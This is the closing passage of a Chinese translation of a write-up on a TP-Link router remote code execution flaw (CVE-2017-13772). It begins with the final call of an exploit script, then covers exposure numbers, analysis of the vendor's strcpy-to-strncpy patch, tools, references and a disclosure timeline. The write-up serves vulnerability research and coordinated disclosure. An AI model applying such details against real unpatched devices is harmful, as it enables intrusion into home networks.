second_exploit(next_url, encoded_string)

八、影響範圍


目前,對shodan的快速搜尋顯示了7200臺連線到網際網路的裝置。(這個數字在一個月內增長了3500個)
Shodan 7200

九、漏洞修補


為了補丁這些漏洞,供應商需要用更安全的操作(如strncpy)來代替大部分對strcpy的呼叫。為了他們的信譽,他們非常快地實現了這一點,並在一週內提供了一個補丁,報告其他脆弱的程式碼區域。我將快速分析所製作的補丁。

首先要做的最簡單的事情就是看看strcpy的交叉引用,從脆弱的二進位制檔案中我們有700多個呼叫,在修補版本中,我們可以看到不再是這樣:

[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

對這些位置的進一步分析顯示,這些呼叫不對使用者輸入進行操作,例如:

[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

現在,如果我們分析一個我們知道的區域是易受攻擊的,例如dnsserver2 GET引數:

[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

為了快速參考

$ a0 = dest,$ a1 = src,$ a2 = size 所以接下來我們可以看到:

0x2C在loc_452E0C之前載入到$ a2中。然後使用httpGetEnv抓取“dnsserver2”引數。如果httpGetEnv返回0,那麼緩衝區var_24f被清零。

否則,返回的指標被移動到$ a1。大小0x2C載入到$ a2中。目的地已經在$ a0。之後,根據httpGetEnv的結果,呼叫memset或strncpy(通過$ t9)。

我們可以看到,這不允許發生緩衝區溢位,因為只能將最大數量的位元組複製到緩衝區中。請注意,var_24F是一個大小為0x2C的基於堆疊的緩衝區。事實上,我們現在可以看到,提供給供應商的易受攻擊的模式已被一個安全模式所取代。因此,修補程式通過在使用者提供的輸入上刪除對strcpy的呼叫來正確保護緩衝區溢位。

使用的工具:

Binwalk

IDA

QEMU

mipsrop.py外掛

USB 2.0至TTL UART 6PIN CP2102模組序列轉換器

參考文件

https://wiki.openwrt.org/toh/tp-link/tl-wr940n 

http://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip 

http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/ 

http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf 

 http://www.devttys0.com/2013/10/mips-rop-ida-plugin/

時間線

向供應商披露 - 11/8/2017

供應商的回應,初步諮詢要求 - 14/8/2017

初步諮詢 - 14/8/2017

測試版補丁傳送供應商測試 - 17/8/2017

補丁確認工作,然而其他脆弱的地方由我自己確定,第二個漏洞是為了證明這一點。傳送給供應商 - 17/8/2017

供應商的回應將研究其他脆弱地區 - 18/8/2017

供應商傳送測試的第二個補丁 - 25/8/17

補丁確認以減輕漏洞(刪除了500+以上的strcpy呼叫) - 29/8/2017

補丁釋出 - 28/9/2017(僅限HW V5 US)


翻譯來源:

https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/


相關文章